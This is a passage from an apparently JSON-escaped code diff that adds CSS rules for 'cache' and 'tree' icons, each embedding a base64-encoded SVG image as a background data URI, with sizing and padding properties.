CTxjaXJjbGUgY3g9IjY0LjIwNiIgY3k9IjExMC4zMiIgcj0iMS4wMzkiLz4KCQk8Y2lyY2xlIGN4PSI2NC4xODEiIGN5PSIxMTAuMzMiIHI9Ii43MTIyMSIgZmlsbD0iIzgwODA4MCIvPgoJCTxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KC45Nzc1OCAwIDAgLjk3NzU4IDEuMDc5OCAyLjAwMzkpIiBkPSJtNzQuOTY3IDkwLjM5OCAxLjEyNDUgNi4zNSA0LjEwMS0wLjY2MTQ2eiIgZmlsbD0iIzY2NiIgZmlsdGVyPSJ1cmwoI2EpIi8+CgkJPHBhdGggZD0ibTc0LjQ2MyA5MC4xODEgMS4wOTkzIDYuMjA3NiA0LjAwOTEtMC42NDY2M3oiIGZpbGw9IiNjY2MiLz4KCQk8cGF0aCBkPSJtNTEuOTIyIDEyMy4zMWgyNC44NSIgZmlsbD0iIzk5OSIgc3Ryb2tlPSIjYjNiM2IzIiBzdHJva2Utd2lkdGg9Ii4yNTg2NXB4Ii8+CgkJPHBhdGggZD0ibTUxLjgwNCAxMjYuNzFoMjQuODUiIGZpbGw9IiM5OTkiIHN0cm9rZT0iI2IzYjNiMyIgc3Ryb2tlLXdpZHRoPSIuMjU4NjVweCIvPgoJPC9nPgo8L3N2Zz4\u003d\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:2em 1.5em 2em 1.5em;\n+ vertical-align:middle;\n+\tmargin-right: 0.6em;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.cache {\n+\tdisplay: inline-block;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMy41ODI0NTggMTUuOTQyNjU2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KCTxkZWZzPgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDg2MzkyIiB5PSItLjA3MTA5NCIgd2lkdGg9IjEuMTcyOCIgaGVpZ2h0PSIxLjE0MjIiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuMTg4MTAyMiIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImMiIHg9Ii0uMDEzMDU4IiB5PSItLjAxMzM0NSIgd2lkdGg9IjEuMDI2MSIgaGVpZ2h0PSIxLjAyNjciIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuMDM0Njk1ODM0Ii8+CgkJPC9maWx0ZXI+CgkJPGZpbHRlciBpZD0iZCIgeD0iLS4wMzg3NjgiIHk9Ii0uMDI5NjQ4IiB3aWR0aD0iMS4wNzc1IiBoZWlnaHQ9IjEuMDU5MyIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC41MDUzOTIyNiIvPgoJCTwvZmlsdGVyPgoJCTxyYWRpYWxHcmFkaWVudCBpZD0iYSIgY3g9IjM2LjU2OCIgY3k9IjI4Ni43NSIgcj0iMS44OTQzIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KC40MDQwNiAuMTM5MDMgLS41NTg0IDEuNjIyOSAxNTIuNTggLTE4OC4xNykiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KCQkJPHN0b3Agc3RvcC1jb2xvcj0iI2ZmZiIgb2Zmc2V0PSIwIi8+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNmZmYiIHN0b3Atb3BhY2l0eT0iMCIgb2Zmc2V0PSIxIi8+CgkJPC9yYWRpYWxHcmFkaWVudD4KCTwvZGVmcz4KCTxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKC00LjQzNDEgLTI3My45MykiPgoJCTxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KC45Nzc1OCAwIDAgLjk3NzU4IDEuMDc5OCAyLjAwMzkpIiBkPSJtNDkuNTMzIDEzMS40OWgzMS4xMjN2LTM1LjM2bC01LjEyMjItNS41MTkxLTI2LjE2NS0wLjAzMzFjMC4wNzg1NyAxMy42MzYgMC4xNjQzOSAyNy4yNzUgMC4xNjQzOSA0MC45MTJ6IiBmaWx0ZXI9InVybCgjZCkiLz4KCQk8cGF0aCBkPSJtNDkuMDU1IDEzMC4yaDMwLjQyNXYtMzQuNTY3bC01LjAwNzQtNS4zOTU0LTI1LjU3OC0wLjAzMjM2YzAuMDc2ODEgMTMuMzMgMC4xNjA3IDI2LjY2MyAwLjE2MDcgMzkuOTk1eiIgZmlsbD0iI2YyZjJmMiIvPgoJCTxnIGZpbGw9IiM5OTkiIHN0cm9rZT0iI2IzYjNiMyIgc3Ryb2tlLXdpZHRoPSIuMjU4NjVweCI+CgkJCTxwYXRoIGQ9Im01Mi4wMTkgOTMuODAyaDIzLjUyNCIvPgoJCQk8cGF0aCBkPSJtNTEuOTc2IDk2Ljg4NWgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTIuMDIyIDk5LjkwMmgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTIuMDIyIDEwMy4wNmgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTIuMTE0IDEwNi4zNWgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTIuMDY4IDEwOS43M2gyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTEuOTUgMTEzLjE0aDI0Ljg1Ii8+CgkJCTxwYXRoIGQ9Im01Mi4wMTUgMTE2LjU2aDI0Ljg1Ii8+CgkJCTxwYXRoIGQ9Im01MS45NjcgMTE5LjkzaDI0Ljg1Ii8+CgkJPC9nPgoJCTxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KC45Nzc1OCAwIDAgLjk3NzU4IDEuMDc5OCAyLjAwMzkpIiBkPSJtNjMuODEzIDExMC45OS01Ljc1OTggNi4yMzk4IDYuMzc2OS01LjcyNTV6IiBmaWx0ZXI9InVybCgjYykiLz4KCQk8cGF0aCBkPSJtNzIuNDk4IDExMy40OC04LjUyMTgtMy4yMzg4bDEuOTE2IDkuMDcyMiAxLjAyNjEtMC4yNDY5MSAwLjkwOTM2LTAuNDI2MyAwLjkxMzc0LTAuNDg4MiAxLjIyNjMtMC44NjU3NSAxLjM2NDUtMS41OTQ1IDAuNzE4MjQtMS4xODAxeiIgZmlsbD0iI2U2ZTZlNiIvPgoJCTxwYXRoIGQ9Im02My42NzggMTAxLjgzIDAuNDg2NjQgOC42Nzg0bDcuMTU3Mi01LjE4OTQtMC42MTMyLTAuNzk3OC0wLjcyNDE1LTAuNjI2NTMtMC43Nzk3OC0wLjYwNjI5LTEuMjI5OS0wLjczMTk2LTEuOTE4Mi0wLjU2OTU1LTEuMzA2NS0wLjE2NzV6IiBmaWxsPSIjMzMzIi8+CgkJPHBhdGggZD0ibTcxLjIxMiAxMDUuMjMtNy4xNzY0IDUuMjgzbDguNDY3IDMuMjM0MSAwLjM0MTAyLTAuOTczNjMgMC4xMzE3Ny0wLjk3MjgzIDAuMDgzMjYtMS4wMDkyLTAuMDYxMjItMS40NjYtMC41ODY1LTEuOTY1OC0wLjU4ODY4LTEuMjE1NHoiIGZpbGw9IiM5OTkiLz4KCQk8cGF0aCBkPSJtNjQuNDM4IDEwMS40NyAwLjA0NDA1IDguODcwMiAxLjYzMzMgOS40OTM1LTEuOTQwNSAwLjA0NDEtNC41MTI2LTAuNzgzMTgtMi44ODUzLTIuOTQ2OS0xLjk4MjEtNC4xNjMzIDAuNTgyMjYtNC42MzA5IDIuMzQwNS0zLjMwNDcgMi44MDc1LTEuOTA2MXoiIGZpbGw9IiNmMmYyZjIiLz4KCQk8cGF0aCBkPSJtNjMuNjM1IDEwMWE5Ljc2NDEgOS43NjQxIDAgMCAwIC05LjIwMjEgMTAuMjk1IDkuNzY0MSA5Ljc2NDEgMCAwIDAgMTAuMjk1IDkuMjAyMSA5Ljc2NDEgOS43NjQxIDAgMCAwIDkuMjAyMSAtMTAuMjk1IDkuNzY0MSA5Ljc2NDEgMCAwIDAgLTEwLjI5NSAtOS4yMDIxem0wLjA1MjcyIDAuOTQwMTlhOC43Mjc2IDguNzI3NiAwIDAgMSA5LjIwMjUgOC4yMjUzIDguNzI3NiA4LjcyNzYgMCAwIDEgLTguMjI1MyA5LjIwMjUgOC43Mjc2IDguNzI3NiAwIDAgMSAtOS4yMDI1IC04LjIyNTMgOC43Mjc2IDguNzI3NiAwIDAgMSA4LjIyNTMgLTkuMjAyNXoiIGZpbGw9IiNjY2MiIHN0cm9rZT0iIzgwODA4MCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLXdpZHRoPSIuMjE2MDQiLz4KCQk8cGF0aCBkPSJtNjMuODA4IDExMC4yNC0zLjI0MDYgNy42NDI3IDMuOTc4Mi03LjM3MzJ6Ii8+CgkJPGNpcmNsZSBjeD0iNjQuMjA2IiBjeT0iMTEwLjMyIiByPSIxLjAzOSIvPgoJCTxjaXJjbGUgY3g9IjY0LjE4MSIgY3k9IjExMC4zMyIgcj0iLjcxMjIxIiBmaWxsPSIjODA4MDgwIi8+CgkJPHBhdGggdHJhbnNmb3JtPSJtYXRyaXgoLjk3NzU4IDAgMCAuOTc3NTggMS4wNzk4IDIuMDAzOSkiIGQ9Im03NC45NjcgOTAuMzk4IDEuMTI0NSA2LjM1IDQuMTAxLTAuNjYxNDZ6IiBmaWxsPSIjNjY2IiBmaWx0ZXI9InVybCgjYikiLz4KCQk8cGF0aCBkPSJtNzQuNDYzIDkwLjE4MSAxLjA5OTMgNi4yMDc2IDQuMDA5MS0wLjY0NjYzeiIgZmlsbD0iI2NjYyIvPgoJCTxnIGZpbGw9IiM5OTkiPgoJCQk8cGF0aCBkPSJtNTEuOTIyIDEyMy4zMWgyNC44NSIgc3Ryb2tlPSIjYjNiM2IzIiBzdHJva2Utd2lkdGg9Ii4yNTg2NXB4Ii8+CgkJCTxwYXRoIGQ9Im01MS44MDQgMTI2LjcxaDI0Ljg1IiBzdHJva2U9IiNiM2IzYjMiIHN0cm9rZS13aWR0aD0iLjI1ODY1cHgiLz4KCQkJPHBhdGggZD0ibTE0LjgxIDI3Ny40NSAwLjc3NDE3LTAuOTQ5ODggMC44NzQ5MSAwLjYxMzQtMC41Njg3NyAxLjA3NzYtMC41Mjc1OC0wLjQ0NjU3eiIgZmlsbC1vcGFjaXR5PSIuOTc5MzQiLz4KCQkJPHBhdGggZD0ibTEwLjA5MiAyNzYuNDggMC4wOTM1NC0xLjY2MDQgMS40NDk5LTAuMDIzMyAwLjIzMzg2IDEuNjM3LTAuOTM1NDQtMC4wNzAxeiIgZmlsbC1vcGFjaXR5PSIuOTc5MzQiLz4KCQk8L2c+CgkJPGc+CgkJCTxjaXJjbGUgY3g9IjExLjIyNSIgY3k9IjI4My4wOCIgcj0iNi42ODA3IiBmaWxsPSIjYjNiM2IzIiBmaWxsLW9wYWNpdHk9Ii45MjE0OSIgc3Ryb2tlPSIjODA4MDgwIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBzdHJva2Utd2lkdGg9Ii4yMjEiLz4KCQkJPGNpcmNsZSBjeD0iMTEuMjI1IiBjeT0iMjgzLjA4IiByPSI1LjM0NiIgZmlsbD0iI2U2ZTZlNiIgc3Ryb2tlPSIjODA4MDgwIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBzdHJva2Utd2lkdGg9Ii4yNDQ2OCIvPgoJCQk8cGF0aCBkPSJtMTEuMDI3IDI3Ny44NXYyLjQ0NzQiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzRkNGQ0ZCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgoJCTwvZz4KCQk8ZyBmaWxsPSIjOTk5Ij4KCQkJPGNpcmNsZSBjeD0iMTEuMDI3IiBjeT0iMjgzLjI4IiByPSIuNDMxMzYiIHN0cm9rZT0iIzgwODA4MCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLXdpZHRoPSIuMDE5NzQzIi8+CgkJCTxwYXRoIGQ9Im0xMC45MjkgMjgyLjk0IDMuNjAzMy0yLjgzMjktMy4yNDExIDMuNDM5NnoiIGZpbGwtb3BhY2l0eT0iLjk3OTM0Ii8+CgkJCTxwYXRoIGQ9Im05LjU5NjYgMjc1LjAzLTAuNDQwNTYtMC42ODgzOCAwLjQxMzAzLTAuNDEzIDIuNjQzNC01ZS01IDAuMzU3OTYgMC4zODU1LTAuNDEzMDMgMC42ODgzOHoiIGZpbGwtb3BhY2l0eT0iLjk3OTM0Ii8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0xMC4yMDggMjc4LjMtMS42ODM4IDAuODg4NjgtMS41NDM1IDEuNjgzOC0wLjU2MTI3IDEuNjgzOCAwLjE0MDMyIDEuNTQzNSAwLjU2MTI2IDEuODI0MSAxLjA3NTggMC45ODIyMiAwLjg4ODY3IDAuNDY3NzMtMC4yODA2My0wLjYwODA0LTAuOTM1NDQtMi4zMzg2IDAuMjMzODYtMi41MjU3IDEuMjE2MS0yLjI0NTF6IiBmaWxsPSJ1cmwoI2EpIi8+CgkJPHBhdGggZD0ibTEwLjE1IDI3NS41NyAwLjM5Njg4LTAuMjk3NjYgMC40MTM0MS0wLjE5ODQzIDAuNDk2MDktMC4wMzMxIDAuMjMxNTEtMC4wMzMxLTEuNTIxNCAwLjAxNjR6IiBmaWxsPSIjODA4MDgwIiBmaWxsLW9wYWNpdHk9Ii45NDYyOCIvPgoJCTxwYXRoIGQ9Im05LjE0MTcgMjc0LjM4YzAuMjE0OTcgMCAzLjM5LTAuMDQ5NiAzLjM5LTAuMDQ5NmwtMC4zOTY4OCAwLjY5NDUzLTAuMjk3NjYtMC4zOTY4OC0wLjcxMTA3LTAuMTY1MzYtMC44OTI5Ny0wLjAzMzEtMC42OTQ1MyAwLjA5OTItMC4xODE5IDAuMTY1Mzd6IiBmaWxsPSIjODA4MDgwIiBmaWxsLW9wYWNpdHk9Ii45NDYyOCIvPgoJPC9nPgo8L3N2Zz4\u003d\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:0.8em 0.7em 0.8em 0.7em;\n+ vertical-align:middle;\n+\tmargin-right: 0.5em;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+\n+img.tree {\n+\tdisplay: inline-block;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA4MS45NjE1MzMgNzkuMDUyMzA3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGRlZnM+CgkJPGZpbHRlciBpZD0iZSIgeD0iLS4yMTMyNCIgeT0iLS4yMDQ1NCIgd2lkdGg9IjEuNDI2NSIgaGVpZ2h0PSIxLjQwOTEiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuMTQ2NDkxMjUiLz4KCQk8L2ZpbHRlcj4KCQk8ZmlsdGVyIGlkPSJmIiB4PSItLjMzNjk0IiB5PSItLjIxMDYxIiB3aWR0aD0iMS42NzM5IiBoZWlnaHQ9IjEuNDIxMiIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC4xNDc3NTgwOSIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImEiIHg9Ii0uMDMyNDIyIiB5PSItLjAzNDg2NyIgd2lkdGg9IjEuMDY0OCIgaGVpZ2h0PSIxLjA2OTciIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuNDE0NDk1MiIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImQiIHg9Ii0uMTA2NyIgeT0iLS4wNzk2MzIiIHdpZHRoPSIxLjIxMzQiIGhlaWdodD0iMS4xNTkzIiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgoJCQk8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIyLjA3NjgwNDYiLz4KCQk8L2ZpbHRlcj4KCQk8ZmlsdGVyIGlkPSJjIiB4PSItLjA0MjE3MSIgeT0iLS4wMzk1MTUiIHdpZHRoPSIxLjA4NDMiIGhlaWdodD0iMS4wNzkiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjEuMTA2NDg3NiIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDYyNDQyIiB5PSItLjA2NDgwMiIgd2lkdGg9IjEuMTI0OSIgaGVpZ2h0PSIxLjEyOTYiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjEuODg5NTg3OSIvPgoJCTwvZmlsdGVyPgoJPC9kZWZzPgoJPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMjYuNjE4IC00OS41ODcpIj4KCQk8cGF0aCBkPSJtMS40NjQxIDEyMy4zMS0xNy44NTktMy4zMDczLTUuNDI0LTYuNDgyMyAyLjUxMzUtOS4zOTI3IDcuMjc2LTExLjExMiAxMS45MDYtOC43MzEzIDguMDY5OC02Ljg3OTItMS4xOTA2LTcuMDExNS00LjM2NTYtNi4yMTc3LTYuNjE0Ni03LjQwODMtMS43MTk4LTIuNjQ1OCA2LjM1IDEuNzE5OCAxMC40NTEgMC42NjE0NiA1LjE1OTQgMC43OTM3NSA0LjQ5NzkgMy4wNDI3IDYuNzQ2OSA3LjAxMTUgNS45NTMxIDkuMjYwNCAxLjg1MjEgMTEuMjQ1IDUuNjg4NSA3LjkzNzUgNS41NTYyIDQuMjMzMyAzLjgzNjUgNS44MjA4IDAuNjYxNDUgMTAuMTg2LTcuODA1MiA4LjA2OTh6IiBmaWxsPSIjZDdlZWY0IiBmaWx0ZXI9InVybCgjYikiLz4KCQk8cGF0aCBkPSJtOC4zNDMyIDEyMi42NS0xOS4xODItNS4yOTE3LTQuMjMzMy0xMi41NjggNS42ODg2LTEwLjg0OHM4Ljg2MzUtOC4wNjk4IDkuMzkyNy04LjIwMjFjMC41MjkxNy0wLjEzMjMgOC45OTU4LTUuOTUzMSA4Ljk5NTgtNS45NTMxbC0wLjI2NDU5LTEwLjE4Ni01LjE1OTQtNi4yMTc3LTYuODc5Mi02LjQ4MjMgMTYuNTM2IDAuMTMyMyA5LjkyMTkgNy4xNDM4IDcuODA1MiAxMC4wNTQtMC43OTM3NSA4LjU5OXM2LjA4NTQgMTAuMDU0IDYuNzQ2OSAxMC41ODNjMC42NjE0NiAwLjUyOTE3IDkuNTI1IDguNTk5IDkuNTI1IDguNTk5bDEuNDU1MiAxMS41MDktMy45Njg4IDcuMDExNC0xNi41MzYgMy41NzE5eiIgZmlsbD0iI2Q1ZTVmZiIgZmlsbC1vcGFjaXR5PSIuOTA5MDkiIGZpbHRlcj0idXJsKCNjKSIvPgoJCTxwYXRoIGQ9Im01Ljk2MiAxMjAuNTNjLTQuOTM4Mi0zLjM1NzYtMTIuNzA0LTUuMzY3NC0xMS45NjYtMTIuOTA4IDAuMjY1NzYtNS40OTg2IDEuNTE2OS0xMS41MjggNC43MzctMTUuOTkgNS4xMjc4LTQuMjcxIDExLjA3My05LjAzNDMgMTIuMjYxLTE1Ljk5NCAwLjcwMjk4LTUuNzg0OC00LjM3NzUtMTAuOTA3LTQuNzQ3LTE1LjgxMyA2Ljk3MzkgMi45NzAxIDEyLjkzNyA3Ljg3NjMgMTguMzE2IDEzLjAyIDAuMzk2MzYgNy40NTY1IDMuMjU5OCAxNC4wNzggOC4yOTggMTkuOTEzIDMuODEwNyA1LjQ1MTkgOS45MzM4IDEwLjY4OCA3LjA1MzkgMTguMDU5IDAuMDY2MyA3Ljg0NjYtNy45NjU3IDEwLjA3OS0xNC4zMjIgMTEuNDUyLTYuNTI3OSAwLjY4OTctMTMuMTIyLTEuMjM2OC0xOS42MzEtMS43NDAyeiIgZmlsbD0iI2FjZiIgZmlsbC1vcGFjaXR5PSIuOTA5MDkiIGZpbHRlcj0idXJsKCNkKSIvPgoJCTxnPgoJCQk8cGF0aCBkPSJtMzcuMDE5IDExOS43MWMtMC42ODM1Ni0wLjQ3MjY3LTEuNjI2MS0wLjcwNzY3LTEuOTUyMy0xLjU2MDMtMC41MzUzMy0wLjcxOTk2LTAuMzU3ODgtMS41NjMtMC4wMzE4LTIuMzA3NCAwLjA5OTItMC40ODA2Mi0wLjM5NjE5LTEuNzE5OSAwLjU0MTI4LTEuMzE3NCAwLjIxNjk5IDAuNzUwNDYgMS4xMDA1IDAuNDU0NjkgMS42NTA3IDAuNzExMDggMS4xNDk1IDAuNDIwMzMgMS44MDk2IDEuNjUwMSAxLjkwMDIgMi44MTE2LTAuMTYzMTggMC42NTIyLTAuOTIyNTkgMC43ODYyOS0xLjM3NyAxLjE3ODMtMC4yNDMwNSAwLjE2MjM1LTAuNDg2MDEgMC4zMjQ5OC0wLjczMTExIDAuNDg0MTV6IiBmaWxsPSIjNTQwIi8+CgkJCTx0ZXh0IHRyYW5zZm9ybT0icm90YXRlKC0zNC4yOCkiIHg9Ii0zNS42NzYwMSIgeT0iMTE4LjQ1MDY0IiBmaWxsPSIjZmY5OTU1IiBmb250LWZhbWlseT0iJ0xpYmVyYXRpb24gU2FucyciIGZvbnQtc2l6ZT0iMi4xMTY3cHgiIGxldHRlci1zcGFjaW5nPSIwcHgiIHN0cm9rZS13aWR0aD0iLjI2NDU4IiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSItMzUuNjc2MDEiIHk9IjExOC40NTA2NCIgZmlsbD0iI2ZmOTk1NSIgZm9udC1mYW1pbHk9IidTb3VyY2UgSGFuIFNhbnMgVFcnIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OCI+6YWSPC90c3Bhbj48L3RleHQ+CgkJCTxwYXRoIGQ9Im0zOS4wNTMgMTE3Ljc1LTAuNTIxMiAwLjU0MDItMC41OTAwNiAwLjQ0NDg3LTAuNTc3MzIgMC4zNzExNC0wLjQzMjU2IDAuMzA1MjUtMC4zMjYzNCAwLjA1NSAwLjQyNTAyIDAuMjMyNjYgMC43ODUzMy0wLjUyNDI2IDAuNjcwNTgtMC40MDY5MyAwLjQ1MTA1LTAuMzM3MyAwLjE4Njg4LTAuMzUzMjJ6IiBmaWxsPSIjZjk1Ii8+CgkJCTxwYXRoIGQ9Im00Mi41NzggMTIwLjc2YzAuODA4NjEgMC4xOTE4NCAxLjc3MjEgMC4wNjgyIDIuMzg1OSAwLjc0MzkgMC43NjA0MyAwLjQ3NjEyIDAuOTAxNTYgMS4zMjYgMC44Njg0MyAyLjEzOCAwLjA4MjMgMC40ODM4MSAwLjk5NDI3IDEuNDU4Mi0wLjAyNTQgMS40MjQxLTAuNDc0OTQtMC42MjAyNS0xLjE5MDUtMC4wMjM1LTEuNzk2Mi0wLjA2MjQtMS4yMjM3IDAuMDI2My0yLjI4NTctMC44Nzk0LTIuNzkyMy0xLjkyODUtMC4wODUxLTAuNjY2OSAwLjU3MzY1LTEuMDY3OSAwLjg1NDQ2LTEuNTk4MiAwLjE2NzQxLTAuMjM5NTkgMC4zMzQ2My0wLjQ3OTQxIDAuNTA1MS0wLjcxNjc5eiIgZmlsbD0iIzU0MCIvPgoJCQk8dGV4dCB0cmFuc2Zvcm09InJvdGF0ZSgxMjQuNCkiIHg9Ijc2LjczODkzNyIgeT0iLTEwNC42ODAwNCIgZmlsbD0iI2ZmOTk1NSIgZm9udC1mYW1pbHk9IidMaWJlcmF0aW9uIFNhbnMnIiBmb250LXNpemU9IjIuMTE2N3B4IiBsZXR0ZXItc3BhY2luZz0iMHB4IiBzdHJva2Utd2lkdGg9Ii4yNjQ1OCIgdGV4dC1hbGlnbj0iY2VudGVyIiB0ZXh0LWFuY2hvcj0ibWlkZGxlIiB3b3JkLXNwYWNpbmc9IjBweCIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iNzYuNzM4OTM3IiB5PSItMTA0LjY4MDA0IiBmaWxsPSIjZmY5OTU1IiBmb250LWZhbWlseT0iJ1NvdXJjZSBIYW4gU2FucyBUVyciIHN0cm9rZS13aWR0aD0iLjI2NDU4Ij7phZI8L3RzcGFuPjwvdGV4dD4KCQkJPHBhdGggZD0ibTQxLjM5NyAxMjMuMzMgMC4yODkxNy0wLjY5MjcxIDAuMzg3OTgtMC42Mjg5NCAwLjQwMjkxLTAuNTU1NiAwLjI5MjAxLTAuNDQxNjEgMC4yODQwMy0wLjE2OTgzLTAuNDgwNTEtMC4wNjIyLTAuNTQxMDMgMC43NzM4Ni0wLjQ3Njc5IDAuNjIyODYtMC4yOTc1OCAwLjQ3ODE5LTAuMDQ1NyAwLjM5Njk4eiIgZmlsbD0iI2Y5NSIvPgoJCQk8cGF0aCBkPSJtMzMuMzc5IDEyMi4wNSAxLjU4NzUtMC4yMzE1MSAwLjM5Njg4LTAuNDI5OTUgMS40NTUyLTAuNzI3NjEgMC43NjA2OC0xLjY1MzYgMC44MjY4MiAwLjY5NDUzIDAuNjYxNDYgMS4yMjM3IDEuMzIyOSAxLjA1ODMgMC42NjE0NiAwLjYyODM5IDAuNjI4MzgtMC4wOTkyIDEuMjIzNyAwLjE2NTM2IDAuOTI2MDQtMC4zNjM4LTAuMzMwNzMtMC4xOTg0NC0xLjgxOS0wLjQyOTk1LTEuOTg0NC0yLjExNjctMS41MjE0LTIuMzQ4Mi0wLjU5NTMxLTAuMzYzOC0wLjUyOTE2IDAuNDYzMDItMS4zODkxIDEuNTg3NXoiIGZpbGw9IiMyNTEzMDQiLz4KCQkJPHBhdGggZD0ibTI3LjU4NCAxMTYuMWMwLjMzNTIyLTAuNTYxNTEgMC41MTcyOS0xLjI2MDkgMC45NTYxNi0xLjcyOTEgMC45NjQ3Ni0wLjMwMTI3IDEuNTgzMS0xLjA0NzUgMC43NTA2OC0xLjgzMDYtMC40NDk5LTEuMzg2NSAxLjEyNDEtMi4zNDM2IDIuMzUzMy0yLjIzNTYgMC44NzE3MyAwLjEzNDE2IDEuNjk4NiAwLjYyNTE1IDEuNzkxMiAxLjU5MDIgMC4wNDgxIDAuNTAxNTQgMC45NzE4NSAwLjg1NTAxIDEuNTI1OSAxLjAzMDkgMC4xMTI1NSAwLjAzNTcgMC4xNzkxNi0wLjA5OTYgMC4yNTY1MS0wLjA3NDYgMC4xNzMwMSAwLjUyOTQyLTAuMjA5ODYgMC45MjAwNC0wLjMwMTY1IDEuMTA3Mi0wLjA1MDggMC4xMDM1NS0wLjE5OSAwLjE1ODg4LTAuMzMwNDIgMC4xMDg4Ni0wLjQyNDkyLTAuMTYxNzYtMC43NjM0NC0wLjI1OTIyLTEuMzQ0NS0wLjQxMzI2LTAuMTU5MTQgMC40MzIwNSAwLjY4NzYzIDAuNjMzMTEgMC44NzE3NiAwLjgyMDU4IDAuMTMzNjYgMC4xMzYwOS0wLjIxNDgzIDAuMzc0NTQtMC45MDYzNiAwLjE1ODM5LTEuNTg5Ny0wLjQ5MjY1IDAuNDk0MyAxLjAzNzggMC43ODU4NyAxLjQ5NTggMS4yMjgtMC4xNTk4MSAzLjAyMDYtMS4wNzI1IDQuMDg5OC0xLjk2OCAwLjI3NjQyLTAuMzgyNDIgMC45MDg4OC0wLjYwMTc2IDAuNzE0OTctMC4zODI4Mi0wLjA1MDkgMC4wNTc1LTAuMDI4MSAwLjAyNTQtMC4yMzg2NCAwLjE3MDU4LTAuNjM3MjQgMC40MTQxNCAwLjc2MjMzLTAuMjQwMDEgMC41NzM1NyA4ZS0zIC0wLjAzOTEgMC4wNTE0LTAuMTQ2MiAwLjE0MTQ0LTAuMzUzNTQgMC4yODc2NS0xLjI0NTIgMC43MjY0Ni0wLjIyNTIzIDAuMTc3NDMgMC41NjY2NS0wLjE2NjE3